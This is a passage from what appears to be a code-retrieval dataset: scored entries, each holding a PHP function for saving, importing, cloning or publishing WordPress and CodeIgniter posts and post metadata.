$key, $value);\n\n\n } else {\n\n // Custom field does not have a value.\n add_post_meta($post->ID, $key, $value);\n }\n\n if (!$value) {\n\n // delete blanks\n delete_post_meta($post->ID, $key);\n }\n }\n}", "title": "" }, { "docid": "0c7a25fdae80d0edb95813240838e5c3", "score": "0.5711684", "text": "public static function savePost()\n {\n check_ajax_referer('Lolita Framework', 'nonce');\n $response = $_POST;\n $data = Arr::get($response, 'data', array());\n $post_id = (int) Arr::get($data, 'postId', 0);\n $post = get_post($post_id);\n $type = str_replace('wp_ajax_save_', '', current_action());\n $type = strtolower($type);\n $response['html'] = stripcslashes($response['html']);\n\n if (!current_user_can('edit_post', $post_id)) {\n $post = null;\n }\n\n if (null === $post) {\n wp_send_json_error();\n }\n\n if ('title' === $type) {\n $post->post_title = esc_attr($response['html']);\n }\n\n if ('content' === $type) {\n $post->post_content = $response['html'];\n }\n\n if ('date' === $type) {\n $post->post_date = $response['html'];\n }\n\n $result = wp_update_post($post);\n wp_send_json_success(\n array(\n 'post' => get_post($post),\n 'get' => $response,\n 'result' => $result,\n 'type' => $type,\n )\n );\n }", "title": "" }, { "docid": "a5384133f625bea4ed23586cbd49bcf5", "score": "0.5709164", "text": "public function run()\n {\n //\n $post = new Posts;\n $post->titulo = 'Primeiro Post do Blog';\n $post->midia = 1;\n $post->media_file = 'blog/post1546553445.jpg';\n $post->body = '<p>Texto incrível.<br></p>';\n $post->save();\n\n $post = new Posts;\n $post->titulo = '2º Post do blog';\n $post->midia = 2;\n $post->media_file = 'https://www.youtube.com/watch?v=_PoDXNoHO4Y';\n $post->body = '<p>Stand-up<br></p>';\n $post->save();\n }", "title": "" }, { "docid": "ab4ca6e4a50d082212ab60ad3bb6c6f4", "score": "0.57070357", "text": "function wpsl_save_lead($post_id, $post){\n\t\t// print_r($post);\n\t\t//exit;\n\n\t}", "title": "" }, { "docid": "e7350150c538f03e5d27a6bf349e4be1", "score": "0.5706033", "text": "function MM_save_post( $post_id, $post ) {\r\n\t \tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE )\r\n\t \t\treturn $post_id;\r\n\r\n\t\t// dont save for revisions\r\n\t\tif ( isset( $post->post_type ) && $post->post_type == 'revision' )\r\n\t\t\treturn $post_id;\r\n\r\n\t\t// placement\r\n\t\t// Because this action is run in several places, checking for the array key keeps WordPress from editing\r\n\t\t// data that wasn't in the form, i.e. if you had this post meta on your \"Quick Edit\" but didn't have it\r\n\t\t// on the \"Edit Post\" screen.\r\n\t\tif ( array_key_exists( 'MM_homepageSetup_column', $_POST ) )\r\n\t\t update_post_meta( $post_id, 'MM_homepageSetup_column', $_POST[ 'MM_homepageSetup_column' ] );\r\n\t\tif ( array_key_exists( 'MM_homepageSetup_rank', $_POST ) )\r\n\t\t update_post_meta( $post_id, 'MM_homepageSetup_rank', $_POST[ 'MM_homepageSetup_rank' ] );\r\n\t}", "title": "" }, { "docid": "39de6b01be8c312a0ecc9ee39c2b8ec5", "score": "0.5694079", "text": "function wp_import_handle_upload() {\n\tif ( ! isset( $_FILES['import'] ) ) {\n\t\treturn array(\n\t\t\t'error' => __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini or by post_max_size being defined as smaller than upload_max_filesize in php.ini.' )\n\t\t);\n\t}\n\n\t$overrides = array( 'test_form' => false, 'test_type' => false );\n\t$_FILES['import']['name'] .= '.txt';\n\t$upload = wp_handle_upload( $_FILES['import'], $overrides );\n\n\tif ( isset( $upload['error'] ) ) {\n\t\treturn $upload;\n\t}\n\n\t// Construct the object array\n\t$object = array(\n\t\t'post_title' => basename( $upload['file'] ),\n\t\t'post_content' => $upload['url'],\n\t\t'post_mime_type' => $upload['type'],\n\t\t'guid' => $upload['url'],\n\t\t'context' => 'import',\n\t\t'post_status' => 'private'\n\t);\n\n\t// Save the data\n\t$id = wp_insert_attachment( $object, $upload['file'] );\n\n\t/*\n\t * Schedule a cleanup for one day from now in case of failed\n\t * import or missing wp_import_cleanup() call.\n\t */\n\twp_schedule_single_event( time() + DAY_IN_SECONDS, 'importer_scheduled_cleanup', array( $id ) );\n\n\treturn array( 'file' => $upload['file'], 'id' => $id );\n}", "title": "" }, { "docid": "deecbb387402c715a5d0d595740b51df", "score": "0.56777155", "text": "function embeditor_save_postmeta_content($post){\r\n//\t$attachment = get_embeditor_attachment($post);\r\n\t\r\n\tif ($_POST[\"embeditor-choice-{$post['ID']}\"] == \"No\")\r\n\t\treturn;\r\n\t\r\n\tif ($_POST[\"embeditor-choice-{$post['ID']}\"] == \"Yes\") {\r\n\t\t\r\n\t\t$embeditor_heading\t= esc_html($_POST[\"embeditor-heading-{$post['ID']}\"]);\r\n\t\t$embeditor_source\t= esc_html($_POST[\"embeditor-source-{$post['ID']}\"]);\r\n\t\t$embeditor_text\t\t= esc_html($_POST[\"embeditor-text-{$post['ID']}\"]);\r\n\t\t$embeditor_image\t= $_POST[\"embeditor-image-{$post['ID']}\"];\r\n\t\t$embeditor_size\t\t= $_POST[\"embeditor-size-{$post['ID']}\"];\r\n\t\t$embeditor_width\t= $_POST[\"embeditor-width-{$post['ID']}\"];\r\n\t\t$embeditor_height\t= $_POST[\"embeditor-height-{$post['ID']}\"];\r\n\t\t$embeditor_att_id\t= $_POST[\"embeditor-att-id-{$post['ID']}\"];\r\n\r\n\t\t// create array for meta update\r\n\t\t$embeditor_db_content['heading'] = $embeditor_heading;\r\n\t\t$embeditor_db_content['source'] = $embeditor_source;\r\n\t\t$embeditor_db_content['text'] = $embeditor_text;\r\n\t\t$embeditor_db_content['image'] = $embeditor_image;\r\n\t\t$embeditor_db_content['size'] = $embeditor_size;\r\n\t\t$embeditor_db_content['width'] = $embeditor_width;\r\n\t\t$embeditor_db_content['height'] = $embeditor_height;\r\n\t\t$embeditor_db_content['att_id'] = $embeditor_att_id;\r\n\t}\r\n\r\n\t\t\r\n\tupdate_post_meta($embeditor_att_id ,EMBEDITOR_POSTMETA_KEY, $embeditor_db_content);\r\n}", "title": "" }, { "docid": "58fe1b2e50ef02926b6d20864ffa48ed", "score": "0.5668516", "text": "function my_is_post_to_create( $continue_import, $data, $import_id )\n{\n // Unless you want this code to execute for every import, check the import id\n // if ($import_id === 5) { ... }\n return true;\n}", "title": "" }, { "docid": "5be1eb333dea8bbc5c8591ca3b67908f", "score": "0.56620306", "text": "function import_content( $action_id, $timestamp ) {\n\t\tglobal $publishthis;\n\n\t\t// Collect debug info\n\t\t$message = array();\n\t\t$message['message'] = 'Content Import';\n\t\t$message['status'] = 'info';\n\t\t$message['details'] = '';\n\t\t$message['details'] .= 'Import Timestamp: '.$timestamp.'<br/>';\n\t\t$message['details'] .= 'From: '.$publishthis->get_option( 'curated_publish' ).'<br/>';\n\t\t$message['details'] .= 'Action ID: '.$action_id.'<br/>';\n\n\t\t// Get $action\n\t\t$action = get_post ( $action_id );\n\n\t\t// Publishing Action should be active (not in trash)\n\t\tif ( ! $action || $action->post_status!='publish' ) {\n\t\t\t$message['status'] = 'error';\n\t\t\t$message['details'] .= 'Status: error ( action not found )';\n\t\t\t$publishthis->log->addWithLevel( $message, \"2\" );\n\t\t\treturn;\n\t\t}\n\n\t\t//save import timestamp\n\t\tupdate_post_meta( $action_id, '_publishthis_import_start', time() );\n\n\t\t//get all meta data for this publishing action\n\t\t$action_meta = $this->get_action_meta( $action_id );\n\n\t\t$message['details'] .= 'Action format: '.$action_meta['format'].'<br/>';\n\n\t\t// Get feeds\n\t\t$feeds = $publishthis->api->get_feeds_since_timestamp ( $timestamp, $action_meta['template_id'] );\n\n\t\t$message['details'] .= 'Found: '.count( $feeds ).' mix(es)<br/>';\n\n\t\tif ( empty ( $feeds ) ) {\n\t\t\t$message['status'] = 'warn';\n\t\t\t$message['details'] .= 'Status: error ( empty mixes list )';\n\t\t\t$publishthis->log->addWithLevel( $message, \"2\" );\n\t\t\treturn;\n\t\t}\n\n\t\t/* loop each of our feeds, and then either create individual posts or digests\n\t\t from the curated documents in the feed\n\t\t */\n\t\t$ids = array();\n\t\t$intErrorCount = 0;\n\t\tforeach ( $feeds as $feed ) {\n\t\t\t$ids[] = $feed['feedId'];\n\t\t\ttry{\n\t\t\t\t$this->publish_feed_with_publishing_action( $feed, $action_meta );\n\t\t\t}catch( Exception $ex ) {\n\n\t\t\t\t//we capture individual errors and report them,\n\t\t\t\t//but we should keep trying to loop because not all feeds may have an issue\n\t\t\t\t$message = array(\n\t\t\t\t\t'message' => 'Import of Mix Failed',\n\t\t\t\t\t'status' => 'error',\n\t\t\t\t\t'details' => 'Time: '.date( \"Y-m-d H:i:s\" ).'<br/>Cron Timestamp: '.$timestamp . ' feed id:' . $feed['feedId'] . ' specific error:' . $ex->getMessage() );\n\t\t\t\t$publishthis->log->addWithLevel( $message, \"1\" );\n\n\t\t\t\t$intErrorCount++;\n\t\t\t}\n\t\t}\n\n\t\tif ( $intErrorCount == 0 ) {\n\n\t\t\t$message['details'] .= 'Mix IDs: '.implode( ',', $ids ).'<br/>';\n\t\t\t$message['details'] .= 'Status: ' . $intErrorCount . ' errors';\n\t\t\t$publishthis->log->addWithLevel( $message, \"2\" );\n\n\t\t}else {\n\t\t\t$message = array(\n\t\t\t\t'message' => 'Some Import of Feeds Failed',\n\t\t\t\t'status' => 'error',\n\t\t\t\t'details' => 'Total Mix Failures:' . $intErrorCount . ' out of ' . count( $feeds ) );\n\t\t\t$publishthis->log->addWithLevel( $message, \"1\" );\n\t\t}\n\t}", "title": "" }, { "docid": "8bb420d545e4843c9fa299f3451e5482", "score": "0.56444997", "text": "public function upload_postAction() {\n\t\t$ret = Common::upload('img', 'news');\n\t\t$imgId = $this->getPost('imgId');\n\t\t$this->assign('code' , $ret['data']);\n\t\t$this->assign('msg' , $ret['msg']);\n\t\t$this->assign('data', $ret['data']);\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}", "title": "" }, { "docid": "3cffd01855656a88c53884776fb25ced", "score": "0.56437105", "text": "function save(){\n //in the post parameters\n $this->params_imported = true;\n $this->set('date', time());\n parent::save();\n }", "title": "" }, { "docid": "810f2ea8420cb5ea311153037483ed54", "score": "0.56362677", "text": "private function clonePostData()\n\t{\n\t\t$args = array(\n\t\t\t'comment_status' => $this->original_post->comment_status,\n\t\t\t'ping_status' => $this->original_post->ping_status,\n\t\t\t'post_author' => $this->clone_options['author'],\n\t\t\t'post_content' => $this->original_post->post_content,\n\t\t\t'post_excerpt' => $this->original_post->post_excerpt,\n\t\t\t'post_name' => $this->original_post->post_name,\n\t\t\t'post_parent' => $this->original_post->post_parent,\n\t\t\t'post_password' => $this->original_post->post_password,\n\t\t\t'post_status' => $this->clone_options['status'],\n\t\t\t'post_title' => $this->original_post->post_title,\n\t\t\t'post_type' => $this->original_post->post_type,\n\t\t\t'to_ping' => $this->original_post->to_ping,\n\t\t\t'menu_order' => $this->original_post->menu_order\n\t\t);\n\t\t$this->new_id = wp_insert_post($args);\n\t\t$this->new_posts[] = $this->new_id;\n\t}", "title": "" }, { "docid": "b880e4abee0f5d6dc452c9aba8e09ade", "score": "0.5632135", "text": "function fb2wp_import_posts ($data) {\r\n $arr = json_decode($data); // json decode \r\n $count = 0;\r\n\r\n require_once(ABSPATH . \"wp-admin\" . '/includes/image.php');\r\n require_once(ABSPATH . \"wp-admin\" . '/includes/file.php');\r\n require_once(ABSPATH . \"wp-admin\" . '/includes/media.php');\r\n\r\n foreach($arr->data as $final_arr){\r\n /* Assigning data to post */\r\n $facebook_id = $final_arr->id; \r\n $description = $final_arr->message;\r\n $title = $final_arr->name;\r\n $image_url = $final_arr->picture;\r\n $link = $final_arr->link;\r\n $create_time = $final_arr->created_time;\r\n\r\n\r\n\tif(!fb2wp_post_exists($facebook_id)){ // already imported data will not import again\r\n\t error_reporting(E_ERROR | E_PARSE);\r\n\t $url_decode = urldecode( $image_url ); \r\n\t parse_str($url_decode); //get image link out of picture data\r\n\t $b64image = base64_encode(file_get_contents($url)); //converting to base 64 for uploading\r\n\t $valid_image = fb2wp_is_image ($url);\r\n\t $file_path_array = explode('.', $url);\r\n\t $file_ext = end($file_path_array);\r\n\t $upload_file_ext = (in_array(strtolower($file_ext), array('jpg', 'jpeg', 'png'))) ? $file_ext : 'jpg';\r\n\t\t\r\n\t $args = array(\r\n\t\t'post_title' => $title,\r\n\t\t'post_content' => $description,\r\n\t\t'post_status' => 'publish', \r\n\t \t'post_date' => $create_time\r\n\t );\r\n\t $post_id = wp_insert_post($args); //import data to posts\r\n\t /* uploading base 64 image in wordpress and then attach post id to specific post */\r\n\r\n\t if ($valid_image) {// Only upload image if the data has a valid image\r\n\t\t $directory = \"/\".date(Y).\"/\".date(m).\"/\";\r\n\t\t $wp_upload_dir = wp_upload_dir();\r\n\t\t $image_data = base64_decode($b64image);\r\n\t\t $filename = \"IMG_\".$final_arr->id.\".\".$upload_file_ext;\r\n\t\t $fileurl = \"../wp-content/uploads\".$directory.$filename;\r\n\r\n\t\t $filetype = wp_check_filetype( basename( $fileurl), null );\r\n\r\n\t\t file_put_contents($fileurl, $image_data);\r\n\r\n\t\t $attachment = array(\r\n\t\t\t'guid' => $wp_upload_dir['url'] . '/' . basename( $fileurl ),\r\n\t\t\t'post_mime_type' => $filetype['type'],\r\n\t\t\t'post_title' => preg_replace('/\\.[^.]+$/', '', basename($fileurl)),\r\n\t\t\t'post_content' => '',\r\n\t\t\t'post_status' => 'inherit'\r\n\t\t );\r\n\t\t $attach_id = wp_insert_attachment( $attachment, $fileurl);\r\n\r\n\t\t // Generate the metadata for the attachment, and update the database record.\r\n\t\t $attach_data = wp_generate_attachment_metadata( $attach_id, $fileurl );\r\n\t\t wp_update_attachment_metadata( $attach_id, $attach_data );\r\n\t\t\r\n\t\t set_post_thumbnail($post_id,$attach_id); //save to specific post \r\n\t }\r\n\t add_post_meta($post_id, 'facebook_id',$facebook_id); //add facebook id in wp_postmeta for duplicate checks\r\n\t add_post_meta($post_id, 'read_more',$link); //add link in wp_postmeta for Read more link in template\r\n\t\r\n\t $count++;\r\n }\r\n }\r\n\r\n return $count;\r\n}", "title": "" }, { "docid": "89840a94d0c4315b260f78e627c74494", "score": "0.5625691", "text": "public function submit() {\n\t\t\twp_nonce_field( 'give-save-settings', '_give-save-settings' );\n\t\t\t?>\n\t\t\t<input type=\"hidden\" class=\"import-step\" id=\"import-step\" name=\"step\" value=\"<?php echo $this->get_step(); ?>\"/>\n\t\t\t<input type=\"hidden\" class=\"importer-type\" value=\"<?php echo $this->importer_type; ?>\"/>\n\t\t\t<?php\n\t\t}", "title": "" }, { "docid": "02268729867a62adb48ff886fcd12e95", "score": "0.5623029", "text": "function post_import ( ) {\n\t\tif ( $this->stat['succeeded'] > 0 ) {\n\n\t\t\t//\n\t\t\t// Update full texts\n\t\t\t//\n\t\t\tif ( $this->pi1->conf['editor.']['full_text.']['update'] ) {\n\t\t\t\t$arr = $this->db_utility->update_full_text_all();\n\t\t\t\tif ( sizeof ( $arr['errors'] ) > 0 ) {\n\t\t\t\t\tforeach ( $arr['errors'] as $err ) {\n\t\t\t\t\t\t$this->stat['errors'][] = $err[1]['msg'];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$this->stat['full_text'] = $arr;\n\t\t\t}\n\n\t\t}\n\t}", "title": "" }, { "docid": "d36451e6929004bb4f4d29ae774b0f57", "score": "0.56198424", "text": "function myplugin_save_postdata( $post_id ) {\n\n // verify if this is an auto save routine. \n // If it is our form has not been submitted, so we dont want to do anything\n if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) \n return;\n\n // verify this came from the our screen and with proper authorization,\n // because save_post can be triggered at other times\n if ( ( isset ( $_POST['myplugin_noncename'] ) ) && ( ! wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename( __FILE__ ) ) ) )\n return;\n\n // Check permissions\n if ( ( isset ( $_POST['post_type'] ) ) && ( 'page' == $_POST['post_type'] ) ) {\n if ( ! current_user_can( 'edit_page', $post_id ) ) {\n return;\n } \n }\n else {\n if ( ! current_user_can( 'edit_post', $post_id ) ) {\n return;\n }\n }\n\n // OK, we're authenticated: we need to find and save the data\n if ( isset ( $_POST['_wp_editor_test_1'] ) ) {\n update_post_meta( $post_id, '_wp_editor_test_1', $_POST['_wp_editor_test_1'] );\n }\n\n}", "title": "" }, { "docid": "d24367af0836a5015b4af84bf01c9480", "score": "0.5616031", "text": "function import( $file ) {\n\t\t\t\n\t\t\tadd_filter( 'import_post_meta_key', array( $this, 'is_valid_meta_key' ) );\n\t\t\tadd_filter( 'http_request_timeout', 'bump_request_timeout_60' );\n\t\n\t\t\t$this->import_start( $file );\n\t\t\t\n\t\t\t@ob_flush();\n\t\t\t@flush();\n\t\t\t\n\t\t\t$this->get_author_mapping();\n\t\n\t\t\twp_suspend_cache_invalidation( true );\n\t\t\t\n\t\t\techo '<script type=\"text/javascript\">tstatus( \\'Adding <b>Categories</b>\\' );</script>';\t\n\t\t\t@ob_flush();\n\t\t\t@flush();\n\t\t\t\n\t\t\t$this->process_categories();\n\t\t\t\n\t\t\techo '<script type=\"text/javascript\">tstatus( \\'Adding <b>Tags</b>\\' );</script>';\t\n\t\t\t@ob_flush();\n\t\t\t@flush();\n\t\t\t\n\t\t\t$this->process_tags();\n\t\t\t\n\t\t\techo '<script type=\"text/javascript\">tstatus( \\'Adding <b>Terms</b>\\' );</script>';\t\n\t\t\t@ob_flush();\n\t\t\t@flush();\n\t\t\t\n\t\t\t$this->process_terms();\n\t\t\t\n\t\t\techo '<script type=\"text/javascript\">tstatus( \\'Adding <b>Posts</b>\\' );</script>';\t\n\t\t\t@ob_flush();\n\t\t\t@flush();\n\t\t\t\n\t\t\t$this->process_posts();\n\t\t\twp_suspend_cache_invalidation( false );\n\t\t\t\n\t\t\techo '<script type=\"text/javascript\">tstatus( \\'Updating incorrect/missing infomation in the database...\\' );</script>';\t\n\t\t\t@ob_flush();\n\t\t\t@flush();\n\t\t\t\n\t\t\t// update incorrect/missing information in the DB\n\t\t\t$this->backfill_parents();\n\t\t\t$this->backfill_attachment_urls();\n\t\t\t$this->remap_featured_images();\n\t\n\t\t\t$this->import_end();\n\t\t}", "title": "" }, { "docid": "dcee473c7683528ba7217abe65fc1535", "score": "0.5613871", "text": "function post($action='edit',$dir=\"aden\",$title='alexander-sheversky',$file_name='test',$type='dat'){\n if ($action=='preview'){\n redirect('/Blogs/tutorials/'.$dir.'/'.$title);\n }\n\n // actioning for edit major routine\n if ($action=='edit'){\n //example how to get one post and edit it!\n $data['message']='Edit Post';\n $data['content']=(file_get_contents('../'.$dir.'/'.$title.'.'.$type));\n // need to have it set based on some config\n // like Drupal\n $data['content']=htmlentities($data['content']);\n $data['preview']=false;\n $data['title']=$title;\n $data['location']=$dir;\n\n $this->load->library('filterclass');\n //$this->filterclass->category($data['content'));\n //$data['category']=$this->filterclass->category($data['content']);//'book, other, boer';\n //$data['category']='books';\n $category=$this->filterclass->category($data['content']);//'book, other, boer';\n if (is_array($category)){\n $s='';\n foreach ($category as $key=>$value){\n $s.=$value;\n }\n }\n else{\n $data['category']=$category;}\n\n\n $this->load->view('editpost',$data);\n }\n\n/* This creates a new file and save it\n We first create a blank file\n Then we send info to template\n Since 'untitled' may exist we read\n*/ \n \n\n $content='##Your Title Here';\n if (($action=='create')||($action=='new')){\n $file_name='untitled.dat';\n $this->load->helper('file');\n write_file('../'.$dir.'/'.$file_name, $content);\n if ( ! write_file('../'.$dir.'/'.$file_name, $content))\n {\n echo 'Unable to write the file';\n }\n else\n {\n echo 'File written!';\n }\n\n $data['content']=(file_get_contents('../'.$dir.'/'.$file_name));\n $data['preview']=false;\n $data['title']=$file_name;\n $data['filename']=$file_name;\n $data['location']=$dir;\n $data['category']='';\n $data['message']='Create New';\n $this->load->library('filterclass');\n //$this->filterclass->category($data['content'));\n $this->load->view('editpost',$data);}\n\n\n\n #### SAVE ACTION #####\n #### both save and save as works from here\n \n if ($action=='save'){\n $this->load->helper('file');\n $content=$_POST['content'];\n $file_name=$_POST['save_as'];\n $data=$_POST;\n //echo $dir.' '.$title;\n //echo $file_name;\n //echo $_POST['save_as'];\n //echo_array($_POST);\n // break;\n write_file('../'.$dir.'/'.$file_name.'.dat', $content);\n if ( ! write_file('../'.$dir.'/'.$file_name.'.dat', $content))\n {\n echo 'Unable to write the file';\n }\n else\n {\n echo '...File written!';\n }\n // change this for general was stamps\n redirect('/Blogs/tutorials/'.$dir.'/'.$file_name);\n }\n\n /* CSS SAVES\n * New added to save by type css */\n\n /* CSS SAVES\n * New added to save by type css */\n if ($action=='saveCSS'){\n $dirCSS=\"CSS\";\n $css_textarea=$_POST['code2'];\n //echo 'SAVE AS'.$css_textarea;break;\n //$dir='CSS'; //write to CSS directory\n $this->load->helper('file');\n $file_name=$_POST['save_as'];\n //echo 'SAVE AS'.$file_name;break;\n $data=$_POST;\n //echo $dir.' '.$title;break;\n\n //write_file('/CSS/'.'screen_bak1.css', $css_textarea);\n if ( ! write_file('../CodeIgniter/'.$dirCSS.'/'.'localCSS_bak2.css', $css_textarea))\n {\n echo 'Unable to write the file';\n }\n else\n {\n echo 'File written!';\n }\n // change this for general was stamps\n redirect('/Blogs/tutorials/'.$dir.'/'.$file_name);\n }\n\n\n if ($action=='saveAsLocalCSS'){\n $dirCSS=\"CSS\";\n $css_textarea=$_POST['localCSSCode'];\n //echo 'SAVE AS'.$css_textarea;break;\n //$dir='CSS'; //write to CSS directory\n $this->load->helper('file');\n $file_name=$_POST['save_as'];\n //echo 'SAVE AS'.$file_name;break;\n $data=$_POST;\n echo $dir.' '.$title;break;\n\n //write_file('/CSS/'.'screen_bak1.css', $css_textarea);\n if ( ! write_file('../CodeIgniter/'.$dirCSS.'/'.'localCSS_bak2.css', $css_textarea))\n {\n echo 'Unable to write the file';\n }\n else\n {\n echo 'File written!';\n }\n // change this for general was stamps\n redirect('/Blogs/tutorials/'.$dir.'/'.$file_name);\n }\n\n /* SAVE AS JAVASCRIPT */\n if ($action=='saveAsJS'){\n $dirJS=\"js\";\n $css_textarea=$_POST['code1'];\n //echo 'SAVE AS'.$css_textarea;break;\n //$dir='CSS'; //write to CSS directory\n $this->load->helper('file');\n //$file_name=$_POST['save_as'];\n //echo 'SAVE AS'.$file_name;break;\n //$data=$_POST;\n\n //echo_array($_POST);break;\n //echo $file_name.' '.$title;break;\n\n //write_file('/CSS/'.'screen_bak1.css', $css_textarea);\n if ( ! write_file('../CodeIgniter/'.$dirJS.'/'.'AAACtest.js', $css_textarea))\n {\n echo 'Unable to write the file';\n }\n else\n {\n //echo 'File written!';\n }\n // Redirect back to originating page for confirmation\n redirect('/Blogs/tutorials/'.$dir.'/'.$title);\n }\n\n\n\n if ($action=='delete'){\n\n if (is_file('../blog/'.$title.'dat') )\n {\n echo 'file deleted';\n unlink('../blog/'.$title.'dat');\n }\n else\n {\n echo 'File written!';\n }\n $this->load->view('editpost',$data);\n }\n\n }", "title": "" }, { "docid": "cec30d8de0e3a93be58767cf875bc878", "score": "0.56029236", "text": "function handlePost()\n {\n if ($this->trimmed('import')) {\n \tif ($this->feed) {\n \t\tFeed_table::importByUserId($this->cur_user->id);\n \t\t$this->showForm('Feed已更新。', true);\n \t} else {\n \t\t$this->showForm('Feed地址不存在,无法导入', false);\n \t}\n } else if ($this->_checkFeedurl()\n \t&& $this->_updateFeedurl()) {\n \t$this->showForm('Feed地址已更新。', true);\n } else {\n \t$this->showForm($this->errorMessage, false);\n }\n }", "title": "" }, { "docid": "67db889e5876cf00a78b73374d378d18", "score": "0.5599923", "text": "public function writePostMeta(){\r\n // Yes: overwrite\r\n // No: insert new.\r\n }", "title": "" }, { "docid": "6d574562b7f12b2fd469a103b7bd9f7b", "score": "0.5599356", "text": "public function publishPost($post)\n {\n $post->save();\n }", "title": "" }, { "docid": "a0dc1283e6b516e54c4e15c008f0629c", "score": "0.5587519", "text": "function import() {\r\n $this->action_return = false;\r\n\r\n if ($this->is_content) {\r\n ob_start();\r\n $this->import_wp_data();\r\n ob_end_clean();\r\n if ($this->action_return) {\r\n ob_start();\r\n $this->set_up_pages();\r\n $this->delete_default_content();\r\n //$this->update_db();\r\n ob_end_clean();\r\n $this->make_output(true, __('WP data successfully got imported.', 'cs-frame'));\r\n } else {\r\n $this->make_output(false, __('Sorry importer class missing.', 'cs-frame'));\r\n }\r\n }\r\n\r\n if ($this->is_navitems) {\r\n ob_start();\r\n $this->import_wp_navitems();\r\n ob_end_clean();\r\n if ($this->action_return) {\r\n $this->make_output(true, __('WP Navigation Menu Items successfully got imported.', 'cs-frame'));\r\n } else {\r\n $this->make_output(false, __('Sorry navigation menu items class missing.', 'cs-frame'));\r\n }\r\n }\r\n\r\n if ($this->is_media_attachments) {\r\n ob_start();\r\n $this->import_wp_media_attachments();\r\n ob_end_clean();\r\n if ($this->action_return) {\r\n $this->make_output(true, __('WP Media Attachments successfully got imported.', 'cs-frame'));\r\n } else {\r\n $this->make_output(false, __('Sorry media attachments class missing.', 'cs-frame'));\r\n }\r\n }\r\n\r\n $this->action_return = false;\r\n if ($this->is_widgets) {\r\n ob_start();\r\n $this->import_widgets();\r\n ob_end_clean();\r\n if ($this->action_return) {\r\n $this->make_output(true, __('Widgets successfully got imported.', 'jobhunt'));\r\n } else {\r\n $this->make_output(false, __('Sorry widgets class missing.', 'jobhunt'));\r\n }\r\n }\r\n\r\n $this->action_return = false;\r\n if ($this->is_theme_options) {\r\n ob_start();\r\n $this->import_theme_options();\r\n ob_end_clean();\r\n if ($this->action_return) {\r\n $this->make_output(true, __('Theme options successfully got imported.', 'jobhunt'));\r\n } else {\r\n $this->make_output(false, __('Sorry theme options file not readable.', 'jobhunt'));\r\n }\r\n }\r\n\r\n $this->action_return = false;\r\n if ($this->is_users) {\r\n ob_start();\r\n $this->import_users();\r\n ob_end_clean();\r\n if ($this->action_return) {\r\n $this->make_output(true, __('Users successfully got imported.', 'jobhunt'));\r\n } else {\r\n $this->make_output(false, __('Sorry users file not readable.', 'jobhunt'));\r\n }\r\n }\r\n\r\n $this->action_return = false;\r\n if ($this->is_menus) {\r\n ob_start();\r\n $this->import_menus_and_locations();\r\n ob_end_clean();\r\n if ($this->action_return) {\r\n $this->make_output(true, __('Menus successfully got imported.', 'jobhunt'));\r\n } else {\r\n $this->make_output(false, __('Sorry menus was not imported.', 'jobhunt'));\r\n }\r\n }\r\n\r\n $this->action_return = false;\r\n if ($this->is_plugins) {\r\n ob_start();\r\n $this->import_plugin_options();\r\n ob_end_clean();\r\n if ($this->action_return) {\r\n $this->make_output(true, __('Plugin Options successfully got imported.', 'jobhunt'));\r\n } else {\r\n $this->make_output(false, __('Sorry plugin options was not imported.', 'jobhunt'));\r\n }\r\n }\r\n\r\n $this->action_return = false;\r\n if ($this->is_sliders) {\r\n ob_start();\r\n $this->import_sliders();\r\n ob_end_clean();\r\n if ($this->action_return) {\r\n $this->make_output(true, __('Sliders successfully got imported.', 'jobhunt'));\r\n } else {\r\n $this->make_output(false, __('Sorry sliders was not imported.', 'jobhunt'));\r\n }\r\n }\r\n }", "title": "" }, { "docid": "033e26576623dbbc4beda524d389f5d6", "score": "0.55830455", "text": "function _exportArticle() {\n\t\t$journalId = $this->journal->getId();\n\t\t$articleId = $this->elementId;\n\t\t$article = $this->publishedArticleDao->getPublishedArticleByArticleId($articleId, $journalId);\n\t\t\n\t\tif ($article) {\n\t\t\t$this->articles = array($article);\n\t\t\t$this->_createFile();\n\t\t} else {\n\t\t\tRequest::redirectUrl($this->referrer);\n\t\t}\n\t}", "title": "" }, { "docid": "c700ff12e46607e5fd983c72f4e749d0", "score": "0.5582546", "text": "function pb_save_post( $post_id ) {\n\t/**\n\t * Verify if this is an auto save routine. \n\t * If it is our form has not been submitted, so we dont want to do anything\n\t */\n\tif ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) \n\t\treturn;\n\n\n\t/**\n\t * Verify this came from the our screen and with proper authorization,\n\t * because save_post can be triggered at other times\n\t */\n\tif ( !wp_verify_nonce( $_POST['pb_noncename'], plugin_basename( __FILE__ ) ) )\n\t\treturn;\n\n\n\t/**\n\t * Check permissions\n\t */\n\tif ( 'page' == $_POST['post_type'] ) {\n\t\tif ( !current_user_can( 'edit_page', $post_id ) )\n\t\t\treturn;\n\t}\n\telse {\n\t\tif ( !current_user_can( 'edit_post', $post_id ) )\n\t\t\treturn;\n\t}\n\n\t\n\t/**\n\t * OK, we're authenticated: we need to find and save the data\n\t */\n\t$mydata = $_POST['pb_meta'];\n\t//$mydata = $_POST;\n\tupdate_post_meta($post_id, '_pb_meta', $mydata);\n}", "title": "" }, { "docid": "7c0a65bc0b3a82a5562ef6fef3f86c6e", "score": "0.5564557", "text": "function import_content( $action_id, $timestamp ) {\r\n\t\t// Collect debug info\r\n\t\t$message = array();\r\n\t\t$message['message'] = 'Content Import';\r\n\t\t$message['status'] = 'info';\r\n\t\t$message['details'] = '';\r\n\t\t$message['details'] .= 'Import Timestamp: '.$timestamp.'<br/>';\r\n\t\t$message['details'] .= 'From: '.$this->pt_settings['curated_publish'].'<br/>';\r\n\t\t$message['details'] .= 'Action ID: '.$action_id.'<br/>';\r\n\r\n\t\t// Get $action\r\n\t\t$action = $this->publishing_actions[$action_id];\r\n\r\n\t\t//save import timestamp\r\n\t\t$action_values = unserialize($action['value']); \r\n\t\t$action_values['import_start'] = time(); \r\n\t\tdb_update('pt_publishactions')->fields( array( 'value' => serialize($action_values) ) )\r\n\t\t\t\t\t\t\t\t\t->condition( 'id', $action_id, '=')\r\n\t\t\t\t\t\t\t\t\t->execute();\r\n\r\n\t\tif ( ! $action ) {\r\n\t\t\t$message['status'] = 'error';\r\n\t\t\t$message['details'] .= 